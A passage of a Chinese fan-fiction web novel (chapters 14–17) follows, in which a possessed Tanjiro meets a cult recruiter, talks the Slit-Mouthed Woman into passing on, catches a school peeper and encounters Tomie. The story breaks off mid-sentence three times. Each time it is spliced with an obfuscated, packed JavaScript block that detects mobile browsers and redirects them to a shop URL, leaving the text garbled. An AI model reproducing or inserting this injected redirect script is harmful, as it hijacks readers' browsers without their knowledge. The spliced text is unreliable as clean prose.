“爸爸!妈妈!炭治郎哥哥精神不正常了!” 14. 第 14 章 “炭治郎,你怎么了,是不是学习压力太大了,还是生病了。” “如果生病了,不要瞒着我们。” 在看到炭治郎哥哥在学习一些乱七八糟的东西,还买了这么多鬼画符,竹雄下意识觉得哥哥可能压力太大了,导致精神出问题了。 赶紧把这件事告诉了爸爸妈妈。 葵枝和炭十郎赶紧来看自家孩子,在看到正如竹炭所说的那样,好好的一个孩子居然买了那么多奇怪的东西,也是吓了一跳。 赶紧问他是不是生病了,生病千万别瞒着,虽然他们家不是什么有钱人,但是看病的钱还是出得起的。 炭治郎赶紧解释自己没病,只是想学习一下这种东西。 在看到炭治郎还是跟往常一样,葵枝和炭十郎半信半疑,最终告诉他如果只是当作兴趣,稍微了解一下没关系,但是千万别沉迷。 新闻上不总是有那种沉迷这种神神鬼鬼的东西,最后被邪教所骗的吗? 炭治郎再三保证自己不会加入什么邪教,这才让两人放心下来。 可是竹雄却盯着炭治郎,似乎想看穿什么。 待父母走后,他又问道:“哥哥,你真的没有被欺负吗?” 炭治郎赶紧摇头:“真的没有竹雄。” 毕竟当了这么多年兄弟,竹雄知道自家哥哥不善撒谎,所以他说的应该是真的,可是面对哥哥居然会对灵异事件感兴趣,却让他百思不得奇解。 他一脸凝重地看着哥哥:“哥哥,如果你有什么烦恼,一定要跟我商量。” “好。”炭治郎笑着应下。 看到哥哥的承认,竹雄这才放心下来。 待竹雄走后,炭治郎拿走那些符咒,这些符咒是他从一家有名的寺庙买来的。听说驱邪效果很好,也不知道对于无惨有没有用。 他试着往自己脑门上贴了一张。 好像没什么感觉。 “无惨,你还在吗?” “炭治郎,你是不是太小瞧我了。” “哈哈哈哈,哪有…这些符咒我也是花了大价钱的。”炭治郎一脸认真道。 他是真的觉得这种五百块一张的符对于无惨来说应该多少有些用吧。 但好像还是失败了。 而且似乎他这种自学的方法,还让家人造成误会,这可不是他希望能看到的。 下次尽可能在外面看这些书吧。 “那我出门了。”他捧着这些书,与父母打过招呼后,便出门了。 葵枝和炭十郎让他一路小心,可以叫上一些朋友一起散散心。看来他们还是有些担心孩子的心理压力太大了,所以才想让他好好散散心,放松一下。 炭治郎抱着书来到图书馆,还时不时参考无惨的意见,问他上面有没有对他有用的咒法。 显然无惨一点也不想要搭理他。 炭治郎找到几条还算比较靠谱的,打算找机会试一下。 学习了一上午后,炭治郎还了几本书后,便打算去吃饭了。 他找了一家拉面店解决了午餐,下午便打算继续寻找合适的灵能力者。 “这位小朋友,等一下。” 午后,炭治郎正苦恼地走在路上,突然被一位阿姨搭讪了,那阿姨笑容灿烂,手上拿着一堆宣传册。 “有什么事吗?阿姨?”炭治郎问道。 “小朋友,一看你就知道,你有烦心事对吗?” 炭治郎正打算点头称是,却见那人突然一抬手:“你先别说,让我猜一下。” “恋爱?” “学习?” “家庭?” “哦,我知道了是人际关系!” 她瞧着炭治郎的神色,连甩了四个答案,但炭治郎仍是一脸迷惑。 “阿姨,你到底找我什么事呀?”这个人好奇怪,为什么突然找上他说这些。 那个阿姨也是笑容都僵在脸上了。 这个人明明看上去遇上麻烦的样子,她很肯定,毕竟拉过的人那么多,自己不会看错的。 可是为什么这些常见的青少年烦恼一个都不对!这么小的孩子,能有什么天大的烦恼。 “嘛,算了无论你有什么烦恼,只要加入我们超能锅盖头教,就能迎刃而解。” “不…我还是不用了。”炭治郎这总算是明白了,这是拉人入教呢。 可是这“超能锅盖头教”听上去就像是个邪教啊。 “别这么说嘛。”那阿姨猛地拉住炭治郎的手,热情得不像话。 “我们‘超能锅盖头教’教主是真正超能力者,是神!能为你解决一切麻烦!只要加入‘超能锅盖头教’就能获得幸福,对了,今天加入还送洗衣粉一袋哦。” “这洗衣粉是被赐福过了,什么衣服都能洗干净。” “不不不,我真的不用了。”炭治郎拼命地拒绝着。 今天父母还担心他加入邪教呢,他可不能让父母担心,加入这种不知道是什么的教会。 但那阿姨实在太热情了,还不仅硬将洗衣粉塞入他手中,还顺带塞了一张入教申请单。 那申请单上看上去和街头调查单没什么区别,但却画着一张抽象的人像。 “这个人…”炭治郎觉得这头像有些眼熟。 “这个人就是我们教主大人哦!是不是特别伟岸!”阿姨兴奋地说道。 炭治郎想起来,这个人不是自己之前在假的灵能力者那遇到的少年吗?他怎么成邪教首领了!虽然那个人看上去其貌不扬,但是炭治郎对他的第一印象还挺好的。而且那个人怎么看都不像是会干出组织邪教这种事的人。 被骗了吗? “真的吗?只要加入这个教会,祢豆子妹妹就能和我结婚吗?” 正当炭治郎思考之际,突然听到耳边传来熟悉的尖叫声。 他回头一看,只见熟悉的黄发少年正站在不远处,他激动地牵着一个中年大叔的手,问他是不是只要加入了“超能锅盖头教”就能和喜欢的人在一起。 眼见着善逸就要成为邪教一员,炭治郎赶紧甩了那阿姨的手,连洗衣粉也不要了,立刻跑上前去,拽走了善逸。 “对不起,我们还有一事,先走一步。” 说完,他飞快地跑开了。 善逸还在那边扯着嗓子喊:“啊啊啊,炭治郎你放开我!我还要和祢豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041392|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子妹妹在一起呢。” 直到把善逸拉得老远,炭治郎这才松开了他。 “善逸,那只是一个邪教而已。”炭治郎好心地提醒道。 “呜呜呜…我知道啊。”以善逸的听力,怎么会听不出来那个教会有点不太正常。 “可是我太想和祢豆子妹妹在一起了…”说着,他默默流下两行眼泪。 “善逸,你真心喜欢祢豆子的话,应该堂堂正正挺起胸膛,认真地去追她。像这种随便入教的做法,只会让祢豆子讨厌的。”炭治郎以朋友的身份认真地劝导着炭治郎。 “那炭治郎,你帮我约祢豆子妹妹好不好。” “我不太好意思…”善逸突然红了脸,戳着手指说道。 “我试试看吧。”虽然炭治郎答应了帮他约祢豆子,但祢豆子愿不愿意也要看她自己。 “谢谢你,炭治郎。”善逸高兴地抱紧了炭治郎,真的很感谢他。 “你比竹雄好多了!”那个弟弟,每次看到他都怒气腾腾的,真是不可爱! “竹雄也是担心祢豆子罢了。” 而且竹雄也不是只针对善逸一个人,他平等地对待着每一个接近祢豆子的人。 善逸却是冷哼一声,并不想听。 “对了,炭治郎你的烦恼是什么呀?”他话锋一转,问起炭治郎的烦恼来。 原来刚刚他被邪教教徒纠缠时,也听到炭治郎那边的动静,炭治郎应该是有烦恼的,但那个阿姨却没有猜对。 不是人际关系,不是学业,也不是恋爱…究竟是什么呢? 最近他也多少能看出来,炭治郎确实和平常不太一样,而且那次校运会,他也听到了有什么看不见的东西袭击了炭治郎。 作为朋友,他很担心炭治郎。 见善逸直接开口问自己,炭治郎面露纠结,他也知道以善逸的耳力,自己说什么也瞒不住他。 而且他也实在不擅撒谎。 “那善逸,你可不可以不告诉别人。” “嗯嗯。” “其实我…” 于是炭治郎将他们那次在旅店组织学习小组,自己被恶灵附身的事情说了出来。 “什么!你被恶灵附身了,真的假的?”善逸听完立刻尖叫起来了。 “不,炭治郎你不会说谎的。”但他又很快冷静下来。 “那你是真的被附身了?”他眼中既恐惧又担忧地看着一如往常的炭治郎。 说实话,如果炭治郎不主动承认自己被恶灵附身了,根本没有人能看出来,毕竟炭治郎太正常了,甚至一点恐惧的感觉都没有。 “炭治郎,你都被附身了这么久,不害怕吗?” 炭治郎摇了摇头:“可能因为我能压制无惨,所以没什么感觉呢。” 除了那一次遇到下水道的恶鬼,无惨短暂地控制了他的手,之后他其实没有什么感觉,哪怕是那次催眠,他也是无意识的。 所以后来哪怕意识到自己是被恶灵附身了,他都没有感觉害怕。 听着炭治郎用平静的语气,述说着这件事了不得的事,善逸长叹一口气。 “炭治郎,你还真的是可怕呢。” 15. 第 15 章 “啊?我吗?”炭治郎不解,自己就是一个普通人,哪里可怕? 善逸忍不住翻了一个白眼。 这个人要不要听听自己在说什么? 一个普通人,会在自己被恶灵附身的情况下,一丝恐惧感都没有吗?而且作为一个高中生,居然能压制恶鬼!这是一个普通人能做到的事吗? 炭治郎的精神力,真的比他的头还硬! “算了,反正炭治郎你也就这性格。”这么多年的朋友了善逸也了解他,如果炭治郎真的会怕恶鬼,那他才应该觉得奇怪呢。 “恶灵的事,我也会想办法,看看能不能找到驱除他的办法。”一直让好朋友被恶灵附身也不是办法。 所以他也会出一份力,试着能不能找到驱除恶灵的办法。 “谢谢你善逸!”这一次是炭治郎泪眼汪汪地看着善逸。 善逸被他这么瞧着有些不好意思,轻哼着揉了揉鼻子。 “毕竟你也可是我未来大舅子。”他嘿嘿笑了起来,等将来祢豆子跟自己结婚了,那炭治郎不就是他大舅子嘛。 他可不能看着大舅子出事。 炭治郎只是笑笑不说话。 都说了祢豆子的感情由她自己做主,他不会阻止善逸追求祢豆子,但也不会劝祢豆子接受善逸,一切都要看祢豆子自己的想法。 “我们早点回去吧。” 两人被邪教教徒纠缠了那么久,又跑到陌生的地方,时间已经不早,也是时候该回去了。 善逸也同意了。 两人正准备掉头回家,这时周围似乎冷了几分。 “哒哒哒…” 有什么东西朝他们走了过来。 “善逸?” 炭治郎看到善逸突然捂住耳朵,一脸惊恐。 “这…这…这是什么…声音…” 他以前从来没有听过,好可怕…好可怕… 炭治郎正想安慰他,他也闻到了一股非人的气息… “小朋友…” 一道陌生的声音响起,只见不远处一个身材高挑,穿着棕色风衣,戴着口罩和帽子的女人朝他们走来。 对方的速度不紧不慢,但是炭治郎有一种他们逃不掉的感觉。 他和善逸就愣在原地,眼睁睁看着那女人走到他们面前。 “我漂亮吗?”那女人盯着他们问道。 或许是因为来的是一个大姐姐,虽然看不到口罩后的面容,但她暴露在空气中的眼睛很漂亮,鼻梁高挺,十指纤长,皮肤白皙,这怎么看也应该是一个大美人。 善逸也没有那么害怕了,愣愣地看着她,脱口而出:“很漂亮。” 那女人轻笑一声,随即摘下自己的口罩,露出真容。 “那这样呢!” 只见那口罩下一张血淋淋的血盆大口,原本应该是一张漂亮的樱桃小嘴,但此刻却不知被什么划破,伤口裂到耳朵根。那两条血淋淋的伤口,随着女人说话一张一合,能清晰地看到血肉模糊的横截面,长长的舌头吐出,血从伤口划落,随着舌头甩动,落在善逸的脸上。 “善逸!” 随着炭治郎的大叫,善逸两眼一黑,就这么昏了过去,怎么也叫不醒。 而那裂口女嘿嘿一笑,朝两人伸出手,想要将这两个孩子给吃了。 “也很漂亮。” 突然那个红发孩子,转身说道。 “你胡说!”裂口女才不相信呢,一定是这个孩子为了活命而说的谎! 想到这里,她更加愤怒了。 “你真的很漂亮。”炭治郎又说了一遍。 这一次裂口女看到了炭治朗坚定的眼神,不由得一愣,这个人类真的没有说谎!他是真的觉得自己很漂亮。 裂口女不由得捧着脸害羞起来:“真…真…真的吗?你真的这样觉得?” 随着她在那不好意思地扭捏,血顺着她的指缝流下,滴落在地上,看着更加骇人了。 但炭治郎面不改色:“嗯,我真心的,姐姐你的皮肤很好,身材也很好,穿衣风格也很好看,是个十足十的美人。” “虽然脸上有伤口,但我相信,只要姐姐你好好去治疗,一定可以治好脸上的伤的,等到那时一定会比现在还要漂亮。” “我就认识一个鬼,他就不爱看医生,姐姐你可千万不要学他。” 炭治郎一边劝导着这个因为嘴上的伤而陷入执念的女生,一边拿无惨当反面教材。 被点名的无惨生气! 但裂口女却听得很认真,她抚着自己嘴角的伤口,有些担忧道:“真的能治好吗?” “现在的医疗那么发达,一定可以的。” “姐姐,加油!你现在要做的,就是好好看医生,把脸上的伤治好,迎接未来,而不是在这里吓唬别人。” “而且美人看心不看皮!哪怕姐姐你的脸可能会留下疤,只要心灵善良,就一定会遇到欣赏你的人。” “嗯嗯。” 听到这话,裂口女感觉自己被治愈了,眼前这个孩子是这么多年来,第一个不害怕自己还与她交心,并鼓励她治病,向前走的人。 她感动的用沾满血的手握住对方的双手。 “谢谢你,小朋友,你叫什么名字。” “灶门炭治郎。” “炭治郎,你真是个大好人。”裂口女一边感谢着炭治郎,一边从身上散发出光点,带着笑容逐渐消失在原地。 看来对方是成佛了,不会再吓唬别的小孩了。 炭治郎看着带着笑容消失的裂口女,朝她挥挥手:“再见了裂口女大姐姐,在天堂也要过得幸福啊。” 没有经历一场追逐,也没有经过一场大战,只是简单的交心,炭治郎就超度了裂口女。 或许正是因为炭治郎完成了裂口女的执念吧。 真诚地接受了即使面部受伤,也依旧很美的裂口女。 如果因为消除了执念,就可以让鬼消失的话,那么无惨是不是也一样。 随着裂口女的消失,周围温度也恢复了正常。 炭治郎扶着善逸来到了一旁坐下,并问起无惨来。 “无惨,你的心愿是什么?” 是不是只要实现了无惨的心愿,他就能离开自己。 无惨:“我的心愿只有一个,继承我的力量,炭治郎。” “成为完美的鬼王。” “除了这个就没有别的吗?或者你有没有什么想见的人?想要的东西?” 除了当鬼之外,炭治郎其他要求都可以答应。 “而且为什么是我呢?” 他那么普通的一个人。 无惨冷声道:“这是你的宿命,灶门炭治郎。” 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此时的善逸像是觉醒了什么了不得的东西,如同一位身经百战的剑士。 “不能答应他,炭治郎,会回不来的。” 善逸语气哀伤地说道。 “可恶的鬼杀队!又来阻止我了吗!” 随着善逸仿佛变了一个人似的,无惨突然暴怒起来,他让炭治郎推开善逸,不要听对方的话。 炭治郎没有听无惨的,他看着散发着哀伤味道的善逸,伸手轻抚着对方的头,微笑道:“善逸,放心,我不会答应他的。” “不要难过。” 话音刚落,善逸这才缓缓松开他,然后一头栽倒,头碰到椅子上猛地转醒。 “啊啊啊,鬼啊!” “鬼来了!” 这才是炭治郎熟悉的善逸,看着善逸变回来了,炭治郎也松了一口气。 吓死了,如果不是因为善逸身上气息没变,他都要以为善逸也被鬼附身。 “炭治郎快跑,有鬼啊。” 还没有意识到裂口女已经消失了的善逸,抓着炭治郎就要逃命。 “善逸,你冷静点。”炭治郎被他拽得手腕疼,胳膊都要脱臼了。 他赶紧解释那裂口女已经成佛了。 善逸僵硬地回头:“你说什么?” 他简直不敢相信自己的耳朵,环顾四周确实已经不见裂口女的影子了,他回想了一下那张脸,依旧是吓得一个激灵,怕是今天晚上都睡不着觉了。 “所以说,我已经劝服了裂口女,让她成佛了呀。”炭治郎微笑地轻描淡写道。 完全没有意识到自己说了什么可怕的事情。 只有善逸还在消化着这段话。 和他一样,只是一个普通高中生的炭治郎,通过话疗,让一个都市传说成佛了! 没有吓到尖叫,也没有吓到昏厥,平静地注视着那张血淋淋的脸,然后真心地夸赞,把裂口女劝服了。 善逸用震惊的目光看着炭治郎:“炭治郎,你还是人吗?” 这个家伙,为什么能这么淡定啊!他就不害怕吗? 16. 第 16 章 别说善逸了,就连无惨也想问这件事。 他这次之所以没有提醒炭治郎有鬼出现,是他觉得不把炭治郎逼到绝境,他是不会接受自己力量的。既然如此,那就让炭治郎体验一下真正恐怖。 可是他没想到即使裂口女都出现在他面前了,可是炭治郎依旧面不改色,并且仅仅只是通过话疗,就让一个都市传说成佛了! 这个灶门炭治郎是怎么回事?他是太阳吗?怎么谁都要温暖一下。 无惨在地狱时,就见过那些被炭治郎砍头的鬼,除了上弦肆半天狗之外,就连下弦陆妓夫太郎都对他赞赏有佳! 简直是不可理喻!这个灶门炭治郎究竟哪里好了! 可无论无惨怎么气急败坏,炭治郎这一次依旧只靠自己的力量就解决了灵异事件,完全没有无惨出场的机会。 翌日,炭治郎一如往常地去上学,一点也看不出昨天还遇到鬼。 “你们是不知道,那个裂口女时速有100km/h,当时眼见着她就要追到我和炭治郎了。” “我抄起地上的钢管就砸了过去,与她大战三百回合。” 他才走到教室门口,便听到里面传来善逸夸张的声音。 他似乎正在讲裂口女的故事,只是这故事怎么听起来怪怪的,故事里的善逸手持钢管,次次暴击,宛如战神附体与裂口女打得有来有回,故事之精彩,完全可以拍成一部剧了。 “啧,善逸你又在说大话了,这世上哪有鬼!” 对于故事里的事,玄弥是一个字也不相信。 “就是,你根本不可能打赢鬼!要打赢也是我!”伊之助不服气地指着自己。 “我说的都是真的,真的有裂口女!”善逸不服气道。 可班上的同学没有人相信他的话,裂口女那可是都市传说而已,可是存在于故事里的鬼,怎么可能出现在现实之中。 这时炭治郎正好进来,便有人跑到他的面前。 “炭治郎,你们真的遇到裂口女了吗?” 他们问起炭治郎来。 炭治郎点点头:“是的,我和善逸昨天遇到裂口女了。” “你们看吧!”善逸立刻挺直腰背,一副老子说的是真的模样。 见炭治郎都这么说,其他人立刻瞪大眼睛,纷纷关心起炭治郎来了。 “天呐,炭治郎你们真的遇到鬼了,没事吧。” “听说遇到裂口女的人,要不就被撕裂嘴巴,要不就被吃掉,你和善逸是怎么逃出来的?” “她的速度真的有100km/h吗?” 众人围着炭治郎七嘴八舌,看到有几个女生围着炭治郎特别紧近,善逸都开始咬手帕了。 “为什么!我说的你们就不相信!炭治郎说有你们就相信啊!” 明明是他先提起这件事的!明明他也遇到了!可为什么没人相信他! 玄弥拍了拍他的背:“因为炭治郎不会撒谎啊。” 谁让炭治郎一直以来就连撒谎都不会,太过正直了,而善逸总是会往夸张了说,这种情况下,他们自然是更相信炭治郎说出来的话。 但也因此善逸更是把手帕咬得更狠了,牙都要咬断了。 “啊啊啊!为什么你们打鬼不叫俺!” 炭治郎被其他人包围着问东问西问个不停之时,却见伊之助大叫着冲开了其他人,抓住炭治郎的双肩开始摇他,并大声质问,为什么打鬼不叫他。 “冷静点,伊之助。我们也只是不小心遇到的而已。”被晃得想吐的炭治郎好心地解释道。 如果可以,他也不想遇到鬼。 然而伊之助不听,非要炭治郎再带他去打一次裂口女,他表示自己遇到鬼也完全不会怕! 但是鬼哪有这么好遇到的!虽然炭治郎此刻体内就有一只鬼。 可不带伊之助去见鬼,对方根本就消停不下来。 接下来的一天里,只要有空,伊之助便缠着炭治郎要去找鬼,课间休息缠着、午饭缠着、体育课上缠着、上厕所也缠着… “喂,圆次郎,快陪俺一起去找鬼。” 上完厕所的炭治郎,洗过手后,抬起头就看到镜子里的,跟在自己身后的伊之助。 某一方面来看,伊之助此刻更像是背后灵。 “伊之助,鬼哪有这么好遇的。” “而且就算能见鬼也不是什么好事。”炭治郎就像妈妈一样劝诫着伊之助。 他上次和善逸遇到的裂口女还好是能够劝说的,如果又遇到像无惨这样的鬼,还不知道该怎么办呢,赶又赶不走,说话又不听。 “没关系,就算遇到鬼,俺也能打败他,完全可以保护圆八郎。”伊之助叉着腰自信满满地说道。 炭治郎抚额,这是一点也没有听进去啊。 上赶着要见鬼的,怕是只有伊之助一个人了。 但自己去哪给他找鬼? “啊啊啊,有鬼啊!” 炭治郎正想着,突然听到一声尖叫说是有鬼。 伊之助听到有鬼,立刻大笑着跑了出去。 “猪突猛进!猪突猛进!等着吧炭八郎!俺这就灭鬼给你看!” 炭治郎赶紧追上前去,生怕对方出事。 他们寻着声音来到网球部的女更衣室,由于那一声动静太大,引来了许多人围观。 他和伊之助挤了进去。 “不怕,不怕。” 忍抱着一个双马尾女生轻声安慰着抽泣的她,旁边其他女生们也是一脸后怕地围在蝴蝶忍的身旁,彼此相互搀扶着。 “发生什么事了,忍学姐,小葵。” 神崎葵是祢豆子的好朋友,所以炭治郎也认识她。 小葵边抹着眼泪,边指着衣柜的角落:“衣…衣服…自己动了。” 她们几个女生正准备参加社团活动,来这里换衣服时,突然发现有一件衣服正在地上蠕动,看到这一幕,所有人都吓坏了。 “吼吼吼!是鬼哦!”听到了真的有鬼出现,伊之助兴匆匆地捡起地上的一把球拍便朝着小葵指着的方向而去。 他用球拍手把部位朝缝隙深处够去,终于是够到了那件白色衬衣,然后递到了炭治郎的面前! “权八郎,看俺抓到鬼了。” 他似乎是以为衣服成精了,所以自己跑了。 炭治郎看着那衣服几秒:“伊之助,这不是鬼哦。” 这衣服怎么看都不像是被鬼附身上,而且这上面的气息… “吱吱吱…” 一团毛绒绒的东西突然从刚刚的缝隙中钻出来了… “啊啊啊…” 这下更衣室里的叫声更大了。 伊之助眼疾手快,一把抓住那东西:“这下肯定是鬼了吧!” “哈哈哈!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041394|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊啊啊!拿远了一点啊!” 看着伊之助手中的大老鼠,女生们更是抱作一团。 谁家好人,把老鼠都拿在手上的。 忍从伊之助手上接过老鼠,并打开窗户放生出去。 “不要再跑进来喽。” 女生们顿时星星眼!不愧是忍学姐,就连老鼠也不怕,而且还这么温柔! “看来,这次只是老鼠的恶作剧罢了。小葵,别再怕了。” 在忍的安慰下,小葵点点头,虽然这次受惊不小,但知道只是老鼠,不是鬼后,她便安心了不少。 “等一下,事情还没完。” 可炭治郎却一脸凝重地说道,他来到那个衣柜旁:“帮我搬一下!” 随着他去搬衣柜,伊之助、忍还有小葵,一起来搭把手,四人合力将衣柜挪开。 随着衣柜挪开,这时众人才看到在衣柜的后面有一个小洞,那洞只有半个拳头大小。 忍立刻追到隔壁空着的教室,但里面却空无一人。 跑掉了吗? “忍…忍…学姐…” 这时小葵指着窗外,只见窗外有一道扭曲的模糊黑影,那双深邃黑漆漆的眼眸,正死死地瞪着他们,准确说是在瞪着几个女生。 “这次真是鬼了吧!” 伊之助说着,将手中的球拍给扔了出去,随着一声玻璃碎裂的声音,球拍打中了黑影,随即消失。 “啊啊啊!伊之助你在干什么!”炭治郎感激抓着伊之助低头道歉。 就算是要抓鬼,也不能破坏公物啊! 忍一时之间也不知道说什么好,而且现在好像抓鬼才更重要一点! “炭治郎!那鬼现在去哪了?”她下意识地问起炭治郎来。 “那不是鬼!是人!” 这个和他之前遇到的所有鬼不一样!炭治郎从那道黑影身上闻到了一股活人的味道!他可确定!那个绝不是鬼! 说着他转身跑去,伊之助紧随其后。 在哪?在哪? 那股气味应该混入人群了!虽然很短暂,但是炭治郎已经记住了他的味道。 此刻正是放学的时候,学校里四处都是人,炭治郎顺着那股味道追出教学楼,他看着人来人往的校门口。 不好!犯人要出学校了! 他站在教学楼前,仔细辨认着那股味道。 “炭炭郎,鬼呢?鬼是哪了?” “找到了!伊之助是那个妹妹头,黑色书包的那个人!” 炭治郎指着人群中快走出校门的男生大喊道。 听到自己暴露了,那个人赶紧往外跑! “别跑!”伊之助,立刻追上前去了! 眼见着有人追上来,犯人还把身边的人往伊之助身上推,争取到了逃跑的时间。 “快抓住那个人!他偷窥女生换衣服!”炭治郎大喊道,希望有人能帮着他一起抓人。 果然有人挺身而出,但却被那人用书包砸了过去,后退几步。 而犯人则加快步伐,眼见着就要跑出去了! 这时一个猫头鹰发型的人推着便当出现在校门口。 “炼狱老师!”炭治郎来不及解释,只能大喊道。 “让开!”犯人也顾不上什么老师不老师,直接就要上手推开对方。 下一秒,腹部传来巨痛,妹妹头少年两眼一黑,昏了过去。 17. 第 17 章 “遇到困难了吗?灶门少年?” 炼狱一拳打在妹妹头少年的肚子上,打完之后,才笑眯眯地问道。 “你这家伙!居然敢抢在俺前面打鬼!这是俺的猎物!” 见自己猎物被人抢了,伊之助很生气,他拽起地上昏迷的妹妹头,不断地拍他的脸,脸都抽肿了:“起来!跟我大战三百回合!” “伊之助!住手啊!他不是鬼!只是偷窥狂而已!”炭治郎赶紧拉开了伊之助,以防真把人打出好歹来。 “谢谢你炼狱老师,帮我们抓住了他。”炭治郎边拉住冲动的伊之助,边向老师道谢。 “原来如此,是偷窥狂啊。” 炼狱扛起被打晕的妹妹头,将买来的便当递给炭治郎:“灶门少年麻烦帮我放到办公桌上,我去把这个人送到警局。” 既然是偷窥狂,那就送到警局,一切让警察处理,他等一下还要回来出下一周考试的卷子呢。 “好的。”炭治郎接过便当,保证会替对方放到桌子上的。 只有伊之助还在吵着要和鬼决一胜负。 炭治郎只好一边安慰着他,说他面对鬼一点也不怕,已经很棒了,一边拿着便当去了教师办公室,将其放在桌子上。 听到炭治郎对自己的夸赞,伊之助觉得脑袋轻飘飘的,很是开心,也终于不闹了。 之后炭治郎又去找了忍,跟她说了这件事。 “这样啊,已经送去警局了,那我等一下带小葵去做笔录吧。”该要走的流程,还是要去做一趟的。 “但是那个人不是人类吗?为什么会出现在窗外飘起来,当时那一团黑乎乎的是什么?” 即使知道那是个人类,但当时可是二楼啊?旁边又没有树之类,那个人是怎么飘起来的。 “是生灵吧。”忍倒是表情不变。 她淡淡分析道:“那个人对于偷窥的执念,而导致生灵出现,也就是所谓的灵魂出窍。” 如果不是有炭治郎在的话,想要抓住那个人,恐怕他们得求助灵能力者了。 “是这样吗?忍学姐,你懂得真多。”炭治郎夸赞道。 “我也是从书看到的。”忍谦虚道。 而且在她看来,这一次明明是炭治郎的功劳最大,其次是伊之助。 提起伊之助,她就想到了那块打碎的玻璃。 炭治郎似乎闻出了她的想法,立刻又拉着伊之助道歉:“对不起,我们会赔偿玻璃钱的。” 忍摆摆手:“算了,你们也是为了抓犯人,而且学生会的资金充足,一块玻璃钱就算了。” 他们校长还算有钱,自上任以来,拔给学生会的钱就没有少过,区区一块玻璃钱的支出,也在允许的范围内。 “只是,伊之助,下次不能这样了,多危险啊。” 虽然钱是不用赔了,但该严厉教训,还是要严厉起来。 “俺知道了。” 面对忍的斥责,伊之助羞愧地低下头。 事情圆满解决,时间不早了。炭治郎便带着伊之助一起回家。 回家的路上,炭治郎耐心地劝导着伊之助,让他别再惦记着见鬼了,今天这种情况多危险啊。他们还是好好地当一个普通的高中生就好了。 伊之助有些闷闷不乐,不知道是因为没能亲手抓住那个妹妹,还是因为没有遇到鬼。 走着走着,伊之助突然抬起头,一脸警惕。 “伊之助?”炭治郎正想问他发生什么事了,突然像是感觉到了什么,猛地抬起头。 那一刻,他对上一双美丽迷惑的眼眸。 只见迎面走来一大群人,那是一群男生围着一位身材高佻,眼角带着泪痣的绝色美人。虽然炭治郎平日时对于恋爱之类的话题并不感兴趣,可是就算是他,也不得不承认那个女生真的很美,美到妖艳。 一瞬间的惊叹,随即又转变成寒意。 怎么说呢?那个人已经美到成为了一种魔力,很吸引人,但同时他又感觉到一股恶意。 那个女人应该是人才对,但却有一种说不出来诡异感。 那个女人被一大群男人簇拥着,那些人一个个眼神痴迷,好像中了罂粟的毒,一个个上赶着讨好对方。 “富江,今天的你还是这么美呢,有什么想吃的吗?鱼子酱?鹅肝?” “富江,想要包吗?我给你买?” “富江,还是跟我去五星级餐厅吧,我刚借了一笔钱。” 那些人不遗余地地讨好着这个名为富江的女人,被男人包围的富江兴致恹恹,对于这些讨好早已习惯。 她看着手中粉色的镶钻手表:“都这个点了,好想坐着敞篷车去兜风。” “敞篷车吗?现在?”男人们似乎有些为难。 “没用的废物,这点要求都做不到吗?” “好好好!我们现在就租车!” 见富江发火,男人们立刻打起电话给租车行,想要订一辆高级敞篷车。 “真是个恶劣的女人。”伊之助看着眼前这场闹剧冷哼道。 这个女人让人感觉浑身不舒服,他不由得瞪富江瞪去,就像是野兽发现了怪物。 富江注意到了那强烈的目光,也朝他们看来。那一瞬,炭治郎感觉自己被盯上了。那凶狠的目光,就好像是对方在看到了自己的同类。 两个怪物相遇,更多的时候并不能和谐相处,而是会针锋相对。 “小鬼头啊,滚开滚开!” 男人们注意到富江的目光,也看到了炭治郎和伊之助两人,见到只是两个小孩子罢了,他们厌恶地驱赶着。 伊之助撸起袖子有些不服,但炭治郎拉住了他,让开道路让这些人先过去。 炭治郎与富江擦肩而过,恍惚间,他好像在富江头上看到了另一张扭曲的脸,但眨眼间那张脸又不见了。 他抿着唇目视着对方离去的背影,这时他注意到那群男人中,有一个戴眼镜的人,突然从袖子里拔出一把小刀来。 “我忍不了了!” 那男人突然抽刀朝着富江刺去! “富江,你是属于我的!” “小心!” 炭治郎想也不想就扑上前去,将那人压倒在地,可是他还是晚了一步,那个人手中的刀,还是划破富江的手臂。 富江捂着自己的手臂,血从指尖滑落,目光凌厉地瞪了那个眼镜男一眼。 “富江…我的富江…”那个眼镜男已经疯魔了,流着口水,朝着富江伸出手,那眼中尽是杀意,想要将这个美丽女人分尸的杀意。 炭治郎赶紧把掉在地上的刀,踢远了点,并用力按住眼镜男:“快点报警。” 虽然他觉得那个叫富江的女人有些奇怪,但也不能眼看着她去死,更不能看着这个眼镜男成为杀人犯。 可是那些男人没有一个人听炭治郎的话,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041395|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 